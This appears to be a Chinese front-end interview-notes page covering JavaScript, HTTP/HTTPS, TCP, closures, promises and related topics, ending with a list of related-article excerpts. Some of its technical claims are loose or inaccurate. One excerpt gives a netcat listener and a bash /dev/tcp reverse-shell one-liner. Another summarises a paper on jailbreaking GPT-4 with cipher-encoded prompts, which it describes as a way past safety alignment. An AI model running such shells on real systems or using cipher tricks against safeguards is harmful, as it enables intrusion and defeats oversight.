前端面试题---->JavaScript

const声明的对象属性和数组的值可以被修改吗?为什么

原因:当使用const声明一个对象或数组时,实际上是保证了对象或数组的引用不会被修改,但对象或数组本身的属性或元素是可以被修改的。这是因为const只能保证指向的内存地址不变,但并不保证内存地址指向的内容不变,而基本类型的变量在内存中存储的是值本身,而不是引用。

http和https协议

http(超文本传输协议):以明文方式发送内容,不提供任何方式的数据加密。

https(超文本传输安全协议):经过http通信,但利用SSL/TLS来加密数据包

加密方式:对称加密和非对称加密

1.对称加密:只有一个key

2.非对称加密:一对key服务端有公钥和私钥,服务器端将公钥发给客户端,客户端将内容用公钥加密发给服务端,服务端收到后用私钥解密获取内容,之后可以用获取的内容作为对称加密的key降低传输成本

tcp是基于连接的,

1.第一次握手:客户端向服务端发送SYN包

2.第二次握手:服务端同意连接,会回复SYN和ACK

3.第三次握手:客户端收到之后,会回复ACK包

4.连接建立

因为发送了三包数据,所以成为三次握手(之所以三次握手而不是两次,就是为了解决网络信道不可靠的问题

http(超文本传输协议):以明文方式发送内容,不提供任何方式的数据加密。

https(超文本传输安全协议):经过http通信,但利用SSL/TLS来加密数据包

图片懒加载的实现主要监测以下几个属性来判断是否要显示:

1. 可视区域:监测页面滚动事件或其他触发条件,判断图片是否进入了可视区域。可以通过计算图片元素与视口的位置关系来确定是否可见。

2. 滚动位置:监测页面滚动的位置,判断图片是否在用户正在浏览的范围内。可以获取滚动条的位置或计算元素的偏移量来判断图片是否在可视范围内。

3. 加载状态:监测图片的加载状态,判断图片是否已经加载完成。可以通过监听图片的"load"事件来检测图片是否成功加载。

4. 图片属性:监测图片元素的自定义属性或其他属性,判断是否需要加载该图片。可以在图片元素上设置自定义属性,例如"data-src"来保存图片的真实URL,然后根据需要进行加载。

通过监测这些属性,可以动态地判断图片是否需要加载和显示。当满足条件时,将图片的真实URL赋值给"src"属性,触发图片的加载和显示。这样可以实现图片的懒加载效果,延迟加载图片,提高页面加载速度和性能。

forEach和for循环区别:

1. 语法:forEach是数组的方法,需要通过数组对象调用,语法为:array.forEach(callback)。for循环是一种通用的循环方式,可以应用于数组和其他可迭代对象,语法为:for(initialization; condition; iteration)。

2. 遍历方式:forEach会自动遍历数组的每个元素,并将每个元素作为参数传递给回调函数。for循环可以自定义遍历的起始位置、结束条件和迭代方式。

3. 控制流程:forEach无法使用break和continue语句来控制循环的流程,一旦开始遍历,会一直执行直到遍历完所有元素。for循环可以使用break和continue语句来控制循环的流程,可以在满足某个条件时提前结束循环或跳过当前迭代。

4. 返回值:forEach没有返回值,它只是用来遍历数组。for循环可以有返回值,可以根据需要返回某个特定的值。

总的来说,forEach适用于需要遍历数组并对每个元素执行相同操作的情况,而for循环更加灵活,可以自定义循环的起始位置、结束条件和迭代方式,并且可以在循环中使用break和continue语句来控制流程。

异步加载(Asynchronous Loading)是指在网页加载过程中,将某些资源(如脚本、样式表、图片等)的加载与页面的渲染过程分离。通过异步加载,浏览器可以在加载资源的同时继续渲染页面,不会阻塞页面的展示。常见的异步加载方式包括使用

string类型转换为number类型的

隐式转换:

1.隐式转换:“-”、“*”、“/”

2.强制类型转换:Number、parseInt、parseFloat(当字符串一开始不是数字时,直接输出NaN)

Number()

注释:

  • 如果字符串中包含非数字或者是undefined,则会转换为NAN
  • 如果是一个空字符串或者NAN,则都会转换为0
  • boolean类型,true转为1,false转为0

parseInt()
parseFloat()

注释:

  • 可以从左向右将字符串中最先的连续的数字提取出来
  • 如果对于非string类型使用则会先转换为string类型,再做操作,例如;true会先变为'true'再变为NAN,而不是1

number转换为String类型的

  • a.toString()

注:null和undefined没有toString方法

  • String()

    this的指向问题

    在浏览器环境中,全局作用域中的this指向window对象。

    函数中的this:

    在函数中,this的值取决于函数的调用方式。

    如果函数作为对象的方法被调用,this指向调用该方法的对象。

    如果函数作为独立函数调用,this指向全局对象(浏览器环境中为window,Node.js环境中为global)。

    如果函数使用new关键字调用,this指向新创建的对象。

    箭头函数:this的指向是上级作用域

    如果函数使用call()、apply()或bind()方法调用,this指向作为参数传递的对象。

    箭头函数的this指向在定义时就确定了,因此无法通过call()、apply()或bind()方法来改变箭头函数的this指向。

    call、apply和bind的区别

    1.参数传递:call和apply的参数传递方式不同,call需要将参数逐个传递,而apply需要将参数封装成数组传递。bind方法则可以在绑定时传递参数,也可以在执行时传递参数。

    2.执行时机:call和apply会立即执行函数,而bind返回的是一个新函数,需要手动调用才会执行。

    3.返回值:call和apply的返回值是函数的执行结果,而bind返回的是一个新函数。

    块儿级作用域闭包的作用闭包的应用:

闭包可能存在的问题:内存泄漏(应该被回收的没有被回收) 

注释:闭包本身并不会直接导致内存泄漏,但不正确地使用闭包可能会导致内存泄漏的情况发生。

如果一个全局变量被赋值为一个函数,而这个函数正好一直用到嵌套函数里面的变量,就会导致变量不会被销毁,从而导致内存泄漏。

数组和集合的区别

1.元素的唯一性:数组中的元素可以重复,而集合中的元素是唯一的

2.动态性:数组的长度是固定的,一旦创建后不能改变。集合的长度是可变的

3.元素类型:数组可以存储任意类型的元素,包括基本类型和对象。集合通常只能存储对象类型的元素

4.存储方式:数组是一种有序的数据结构,每个元素通过索引访问。集合是一种无序的数据结构

严格模式通过禁用一些不安全的语法特性,强制执行一些最佳实践,提供更严格的错误检查和错误处理,以及优化JavaScript引擎的执行速度。

在JavaScript代码中,可以通过在脚本文件或函数体的开头添加"use strict";来启用严格模式。例如:

"use strict";

在严格模式下,一些常见的行为将被禁止,例如

变量必须先声明后使用

不允许使用未声明的变量

不允许对只读属性赋值

this在全局作用域下为undefined

混杂模式(Quirks Mode):

是指浏览器在渲染网页时使用的一种兼容旧版本浏览器的渲染模式。

在混杂模式下,浏览器会尽量兼容旧版本的HTML和CSS规范,以保证旧网页的正确显示。

在HTML文档的开头没有正确的DOCTYPE声明,或者根本没有DOCTYPE声明,浏览器将会触发混杂模式

link和@import区别:

1.link是HTML标签,@import是CSS语法规则,所以link比@import先被加载;

2.link支持使用JavaScript控制DOM去改变样式,而@import不支持。

setTimeout主要用于单次延迟执行,而setInterval用于持续重复执行。

JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。

所谓数字签名就是附加在数据单元上的一些数据,或是对数据单元所做的密码变换。

虚拟DOM(virtual DOM)简称vdom,是一个普通的js对象,用来描述真实dom结构,因为它不是真实的DOM,所以称为虚拟DOM

localStorage中存储的数据没有过期时间,除非手动删除或清除浏览器缓存,否则数据会一直存在。而sessionStorage中存储的数据只在当前会话(当前窗口或标签页)有效,关闭窗口或标签页后数据会被清除。

localStorage和sessionStorage都是在客户端存储的,因此存储的数据对于用户来说是可见的,不适合存储敏感信息。

session、cookie和token的区别:

Session数据是存在服务器中的,cookie数据存放在浏览器当中,token是开发定义的,session是http协议规定的;

token可以跨域,session不可以跨域,它是与域名绑定的

promise、generator和async/await三者的区别:

三者都是为了解决异步产生的,之前通过回调函数解决异步,便出现了回掉地狱(callback hell)的问题:

没有顺序可言:嵌套函数执行带来的是调试困难,不利于维护与阅读

耦合性太强:一旦某一个嵌套层级有改动,就会影响整个回调的执行 

为了解决回掉地狱(callback hell)的问题,便出现了promise,它可以将异步操作以同步操作的流程表达出来,避免了层层嵌套的回调函数,并且它的链式调用更能让人接受,也符合我们同步的思想,但它的缺点是:

Promise的内部错误使用try catch捕获不到,因为当异步函数抛出异常时,对于宏任务    (setTimeout、setInterval、Ajax、Dom事件)而言,执行函数时已经将该函数推入栈,此时并不在 try-catch 所在的栈,所以 try-catch 并不能捕获到错误。对于微任务(Promise、async/await)而言,比如 promise 的构造函数的异常只能被自带的 reject 也就是.catch 函数捕获到。

1.Generator函数可以通过yield关键字来暂停和恢复函数的执行,从而可以更灵活地控制异步操作的执行顺序。而Promise是通过then()方法来处理异步操作的结果,不能直接控制异步操作的执行顺序。

2.错误处理:Generator需要手动在代码中编写错误处理逻辑,通常使用try-catch语句来捕获和处理错误。而async/await可以直接在异步函数内部使用try-catch语句来捕获和处理错误,使错误处理更加简洁。Promise通过catch()方法来处理操作的失败。

3.Generator函数可以通过yield语句返回多个值,每次调用next()方法都会返回一个新的值。而Promise只能返回一个结果值。

4.Generator需要手动调用next()方法来控制异步操作的执行和恢复。而async/await会自动等待Promise对象的解析,使得异步操作的执行更加简单和直观。Promise通过resolve()和reject()方法来控制异步操作的状态

实现浅拷贝的方法有:

  1. 赋值操作符(=)
  2. 扩展运算符方式:cloneObj = {...obj};cloneArr= [...arr]

实现深拷贝的方法有:

1.JSON.parse(JSON.stringify()):利用JSON的序列化和反序列化操作,可以实现简单的深拷贝。通过将对象或数组转换为JSON字符串,再将JSON字符串转换回对象或数组,就可以得到一个全新的对象或数组。这种方法简单易用,但不能复制特殊类型的对象,如函数、正则表达式和特殊类型的对象

2.如lodash的cloneDeep()方法

3.递归复制

JSON.stringify()和JSON.parse()的区别

注:在使用JSON.parse()需要注意一点,由于此方法是将JSON字符串转换成对象,所以你的字符串必须符合JSON格式

正则表达式

防抖和节流的异同

防抖和节流都是用于控制函数的执行频率,但它们的实现方式和应用场景有所不同。

防抖(Debounce)的实现思路是在事件触发后,等待一段时间(如300毫秒),如果在这段时间内没有再次触发事件,则执行函数。如果在等待时间内又触发了事件,则重新计时。防抖适用于一些频繁触发的事件,比如窗口大小改变、搜索框输入等,可以减少函数的执行次数,提升性能。

节流(Throttle)的实现思路是在事件触发后的一段时间内,只执行一次函数。比如每隔300毫秒执行一次函数。节流适用于一些高频触发的事件,比如滚动事件、鼠标移动事件等,可以控制函数的执行频率,避免过多的计算和渲染。

区别:

1. 触发频率:防抖是在事件触发后等待一段时间执行函数,节流是在一段时间内只执行一次函数。

2. 执行时机:防抖是在事件停止触发后执行函数,节流是在一段时间内定时执行函数。

3. 应用场景:防抖适用于频繁触发的事件,节流适用于高频触发的事件。

4. 执行次数:防抖可能会在事件停止触发后执行一次或多次函数,节流在一段时间内只执行一次函数。

预处理语言

预处理语言在编辑样式方面提供了更多的功能和灵活性,使得样式的编写更加高效、可维护和可复用。它们提供了一些高级特性,帮助开发者更好地组织和管理样式代码,并提供了更多的工具和技术来增强样式的表现力和适应性。

作用域链

原型链 

事件冒泡:

通过给子元素和父元素添加绑定事件,当点击子元素的时候,先触发子元素的事件绑定,然后在冒泡到父元素,进而触发父元素的事件绑定

事件代理:

如果要操作的子标签过多,可以选择绑定父标签,然后在通过event.target判断触发事件的元素是否是你要的子元素,然后再进行操作

简述页面从发送http请求到渲染页面的全过程

  1. 用户在浏览器输入URL并按下回车键,浏览器开始解析URL,根据协议(通常是HTTP或HTTPS)发起对服务器的请求。
  2. 浏览器向DNS服务器查询域名对应的IP地址,获取服务器的IP地址。
  3. 浏览器利用获取到的IP地址与服务器建立TCP连接,通过三次握手建立连接。
  4. 建立TCP连接后,浏览器向服务器发送HTTP请求,请求中包含请求的资源、请求方法(GET、POST等)、请求头等信息。
  5. 服务器接收到请求后,根据请求的资源和方法进行处理,然后返回HTTP响应给浏览器。响应中包含状态码、响应头和响应体等信息。
  6. 浏览器接收到服务器返回的HTTP响应后,开始解析响应头和响应体。根据响应头中的信息判断响应的类型(如HTML、CSS、JavaScript等)。
  7. 如果响应是HTML类型,浏览器开始解析HTML文档,构建DOM树;解析CSS文件,构建CSSOM树;执行JavaScript代码,生成页面所需的DOM树和CSSOM树。
  8. 浏览器根据DOM树和CSSOM树结合渲染引擎(如WebKit、Blink等)进行页面布局和绘制,最终将页面内容呈现给用户。
  9. 用户在浏览器上看到页面内容,与页面交互,完成整个页面加载和渲染的过程。

简述JavaScript的同源策略

JavaScript的同源策略是一种浏览器安全策略,用于限制一个网页中的脚本只能与来自同一源(协议、域名、端口号都相同)的资源进行交互,防止恶意网站通过脚本获取用户的敏感信息或对其他网站进行攻击。

常见的HTTP响应状态码包括:

1xx(信息性状态码)

指示请求已被接收,继续处理。

  • 100 Continue:服务器已经收到请求的一部分,客户端可以继续发送剩余部分。
  • 101 Switching Protocols:服务器将遵从客户的请求转换到另外一种协议。

2xx(成功状态码)

指示请求已成功接收、理解、接受或处理。

  • 200 OK:请求成功。
  • 201 Created:请求已经被实现,新资源已经创建。
  • 204 No Content:服务器成功处理请求,但没有返回任何内容。

3xx(重定向状态码)

需要客户端执行进一步的操作才能完成请求。

  • 301 Moved Permanently:请求的资源已被永久移动到新位置。
  • 302 Found:请求的资源临时移动到新位置。

4xx(客户端错误状态码)

指示客户端发送的请求有错误。

  • 400 Bad Request:请求无效。
  • 403 Forbidden:服务器拒绝请求。
  • 404 Not Found:请求的资源不存在。

5xx(服务器错误状态码)

指示服务器在处理请求时发生错误。

  • 500 Internal Server Error:服务器内部错误。
  • 503 Service Unavailable:服务器暂时不可用。

HTTP响应状态码可以帮助开发人员诊断和解决问题,同时也可以向用户提供有用的信息。根据不同的状态码,客户端和开发人员可以了解请求的处理情况,并采取相应的措施。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/292992.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

操作教程|在MeterSphere中通过SSH登录服务器的两种方法

MeterSphere开源持续测试平台拥有非常强大的插件集成机制,用户可以通过插件实现平台能力的拓展,借助插件或脚本实现多种功能。在测试过程中,测试人员有时需要通过SSH协议登录至服务器,以获取某些配置文件和日志文件,或…

ES学习日记(四)-------插件head安装和一些配套插件下载

前言 接上节,第三方插件选择了时间久,功能丰富,长得丑的head,head 插件在ES 5版本以前开箱即用非常简单,ES 5版本以后需要运行在node环境下,所以我们要先准备一下环境 一.安装Git yum -y install git 二.安装node 安装包位置node for linux下载 解压…

CaT论文翻译

CaT: Balanced Continual Graph Learning with Graph Condensation CaT:通过图压缩实现平衡的连续图学习 Abstract 持续图学习(CGL)的目的是通过以流方式输入图数据来持续更新图模型。由于模型在使用新数据进行训练时很容易忘记以前学到的知识,因此灾…

什么是检索增强生成(Retrieval-Augmented Generation,RAG)

什么是RAG? 检索增强生成(Retrieval-Augmented Generation,RAG),是指为大模型提供外部知识源的概念。能够让大模型生成准确且符合上下文的答案,同时能够减少模型幻觉。 用最通俗的语言描述:在已…

向量点乘有哪些作用呢

如下: 1.找到两个向量之间的夹角(不用多说) 2.求一个向量投影在另一个向量的投影: 我们把图中b的在a上的投影向量称作b1吧,因为b1就在a上,所以只需要求出b1的大小,然后乘以a的单位向量,我们就得到向量b1了…

Unity 渲染

渲染的三个阶段 1:应用阶段 1.1 数据的准备 遮挡剔除,层级剔除。 渲染顺序,UI在Herachy窗口按照层级渲染,其余物体由大概按照先近后远。 打包渲染数据发送给显存,主要包括有模型信息,变换矩阵&#xff0c…

归并排序---分治法

1、算法的概念 归并排序:是创建在归并操作上的一种有效的排序算法。算法是采用分治法的一个非常典型的应用,且各层分治递归可以同时进行。归并排序的思路简单,速度仅次于快速排序,为稳定排序算法,一般用于对总体无序&…

MoonBit MeetUp回顾——张正、宗喆:编程语言在云原生与区块链领域的技术探索

宗喆和张正分别给我们带了 KCL 相关的最新进展,由蚂蚁集团开发的 Rust 编写的开源 DSL,目标是优化云原生策略配置和用户体验。它通过引入动态配置管理、配置校验和基础设施抽象等核心概念,解决开发者认知负担、配置膨胀和标准化工具缺乏的问题…

[Windows]服务注册工具(nssm)

文章目录 官网下载地址百度云下载地址NSSM常用命令 使用场景:例如现在我们想开启自动启动一个Java服务,nginx,node等。 官网下载地址 https://nssm.cc/download 百度云下载地址 链接:https://pan.baidu.com/s/111fkBWIS7CTlWIj80Kc8Sg?pwdanan 提取码…

python_2

文章目录 题目一运行结果 题目二运行结果 题目一 代码如下: def merge():ls_0 input("输入一个列表(空格隔开):").split()ls_1 []for i in ls_0:ls_1.append(i)ls_1.sort()if ls_0 ls_1:print("这是一个有序列表")else:print(&qu…

[Android]模拟器登录Google Play失败

问题: 模拟器登录Google Play失败,提示couldnt sign in there was a problem communicating with google servers. try again later. 原因: 原因是模拟器没有连接到互联网,打开模拟器中Google浏览器进行搜索一样不行。 解决&am…

数据结构--循环链表(C语言实现)

一.循环链表的设计 typedef struct CNode{ int data; struct CNode* next; }CNode ,*CList; 2.循环链表的示意图: 3.循环链表和单链表的区别: 唯一区别,没有空指针,尾节点的后继为头,为循环之意. 二.循环链表的实现 //初始化return true; }//返回key的前驱地址,如果…

蓝桥杯省赛刷题——题目 2656:刷题统计

刷题统计OJ链接:蓝桥杯2022年第十三届省赛真题-刷题统计 - C语言网 (dotcpp.com) 题目描述 小明决定从下周一开始努力刷题准备蓝桥杯竞赛。他计划周一至周五每天做 a 道题目,周六和周日每天做 b 道题目。请你帮小明计算,按照计划他将在第几…

反弹shell

kali监听: nc -lvp port 客户机执行: bash -i >& /dev/tcp/ip/port 0>&1 bash -c "bash -i >& /dev/tcp/ip/port 0>&1" bash -c:告诉 Bash 执行 -c 后面跟随的命令字符串。bash -i:启动一…

抽象类和接口的简单认识

目录 一、抽象类 1.什么是抽象类 2.抽象类的注意事项 3.抽象类与普通类的对比 二、接口 1.接口的简单使用 2.接口的特性 3.接口的使用案例 4.接口和抽象类的异同 一、抽象类 所谓抽象类,就是更加抽象的类,也就是说,这个类不能具体描…

动态规划之子序列(三)

583. 两个字符串的删除操作 给定两个单词 word1 和 word2,找到使得 word1 和 word2 相同所需的最小步数,每步可以删除任意一个字符串中的一个字符。 示例: 输入: “sea”, “eat” 输出: 2 解释: 第一步将"sea"变为"ea"…

论文笔记:GPT-4 Is Too Smart To Be Safe: Stealthy Chat with LLMs via Cipher

ICLR 2024 reviewer评分 5688 1 论文思路 输入转换为密码,同时附上提示,将加密输入喂给LLMLLM输出加密的输出加密的输出通过解密器解密 ——>这样的步骤成功地绕过了GPT-4的安全对齐【可以回答一些反人类的问题,这些问题如果明文问的话&…

Linux 安装Mysql

安装源文件版本:mysql-5.7.25-linux-glibc2.12-x86_64.tar.gz 安装前,我们可以检测系统是否自带安装 MySQL: rpm -qa | grep mysql如有,类似 mysql-libs-5.1.52-1.el6_0.1.x86_64那可以选择进行卸载: rpm -e mysql-libs-5.1.52-1.el6_0.1…

云备份项目认识、环境搭建以及所使用的库的介绍

一、云备份认识 将本地计算机一个受监管的文件夹的文件上传到服务器中,有服务器组织,客户端可以通过网页将文件查看并且下载下来,下载过程支持断点续传功能,并且服务器会对上传的文件进行热点管理,长时间没人访问的文…

AES加密解密算法

一,AES算法概述 AES属于分组加密,算法明文长度固定为128位(单位是比特bit,1bit就是1位,128位等于16字节) 而密钥长度可以是128、192、256位 当密钥为128位时,需要循环10轮完成加密&#xff0…